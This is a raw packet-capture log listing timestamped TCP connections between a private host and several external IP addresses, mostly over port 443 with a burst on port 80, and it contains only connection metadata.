Nov 22, 2024 14:43:51.362591982 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.362652063 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.362677097 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.362718105 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.369900942 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.371495008 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.371583939 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.371615887 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.377506971 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.379398108 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.379431963 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.381953955 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.382044077 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.382105112 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.382124901 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.383800983 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.388264894 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.389784098 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.389862061 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.389889956 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.396816015 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.398220062 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.398329020 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.398358107 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.398412943 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.398487091 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.405124903 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.406570911 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.406605959 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.406651974 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.406670094 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.406714916 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.413537025 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.414907932 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.414988041 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.415018082 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.416136026 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.422152996 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423532963 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423629999 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.423654079 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423669100 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423716068 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.423742056 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423835039 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.423959017 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.424021959 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.424031973 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.424060106 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.432699919 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.432777882 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.432887077 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.434897900 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.434968948 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.436000109 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.440692902 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.440749884 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.440820932 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.536571980 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.563301086 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.563354015 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.565210104 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.565238953 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.571490049 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.571543932 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.572501898 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.572563887 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.572686911 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.572766066 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.572850943 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.573570967 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.573597908 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.573751926 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.574423075 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.574444056 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.574980021 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.575633049 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.575712919 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.575973034 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.575984001 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.576471090 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.576570034 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.577126980 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.577192068 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.577490091 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.577532053 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.577717066 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.578001022 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.578016043 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.578125000 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.578178883 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.578259945 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.579035044 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.579051971 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.579341888 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.579355955 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.579973936 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.579983950 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.580085039 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.580091000 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.580463886 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.580478907 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.580513954 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.580568075 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.590044975 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.590177059 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.609435081 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.609610081 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.625159979 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.625176907 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.625586987 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.625608921 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.628741026 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.638024092 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.638024092 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.638060093 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.638072014 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.638154030 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.638160944 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.638174057 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.638181925 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.640439034 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.640464067 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.640475988 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.640481949 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.643395901 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.643420935 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.643433094 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.643439054 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.643559933 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.643569946 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.643579006 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.643583059 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.645076036 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.645085096 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.646687984 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.646768093 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.651261091 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.651300907 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.651380062 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.652089119 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.652198076 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.652334929 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.652904034 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.652920961 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.654427052 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.654463053 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.654530048 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.654763937 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.654774904 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.656135082 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.656151056 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.656213045 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.656836987 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.656861067 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.657062054 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.657075882 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.657087088 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.658315897 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.658344030 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.658406019 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.658484936 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.658504009 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.658600092 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.658615112 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.661005020 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.661695004 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.661695957 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.699331045 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.825932980 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.825947046 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.825975895 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.839329004 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.839380026 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.933577061 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.971916914 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.971995115 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.972058058 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.974710941 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.974761963 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.980607033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.018985987 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.019071102 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.019128084 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.020055056 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.020145893 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.020190001 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.021747112 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.021819115 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.022094011 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.022533894 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.022595882 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.022644997 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.024461031 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.024481058 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.024830103 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.024846077 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.024969101 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.024974108 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.026740074 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.026773930 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.082995892 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.083072901 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.083127022 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.085211039 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.085228920 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.100131989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.135576010 CET	443	49853	18.165.220.106	192.168.2.6
Nov 22, 2024 14:43:52.135649920 CET	49853	443	192.168.2.6	18.165.220.106
Nov 22, 2024 14:43:52.413058996 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.413330078 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.413356066 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.414376974 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.414443970 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.414757013 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.414817095 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.414906979 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.414915085 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.446857929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.446871996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.446932077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.447104931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447187901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447200060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447202921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.447211981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447242022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.447276115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.447310925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447331905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.447376966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.455570936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.455689907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.455707073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.455745935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.463949919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.463979959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.464013100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.464056015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.507416010 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.507453918 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.507671118 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.507697105 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.507730007 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.507777929 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.507937908 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.507955074 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.508141041 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.508152008 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.619324923 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.619384050 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.647901058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.647968054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.648086071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.648127079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.652647018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.652755022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.653458118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.653501987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.653512001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.653549910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.661436081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.661705971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.661748886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.661765099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.669507027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.669581890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.669595003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.669764042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.677576065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.677695036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.677746058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.685589075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.685646057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.685686111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.685722113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.693748951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.693891048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.694010019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.694052935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.701716900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.701761961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.701783895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.701802969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.709731102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.709794044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.709882021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.709939957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.717870951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.717926025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.717976093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.725912094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.725924015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.725959063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.725986004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.733900070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.733993053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.818779945 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.819068909 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.819103003 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.820210934 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.820281982 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.820679903 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.820766926 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.820934057 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:52.820944071 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:52.849240065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.849328041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.849339008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.849379063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.852494001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.852507114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.852812052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.858797073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.858865023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.859399080 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.859474897 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.859530926 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.859791994 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.859810114 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.861185074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.861241102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.861418962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.861459970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.867358923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.867408991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.867408991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.867445946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.873544931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.873599052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.873616934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:52.873657942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:52.876766920 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.876981974 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.877003908 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.878436089 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.878500938 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.879153013 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:52.879235983 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:52.879266977 CET	49875	443	192.168.2.6	162.159.61.3
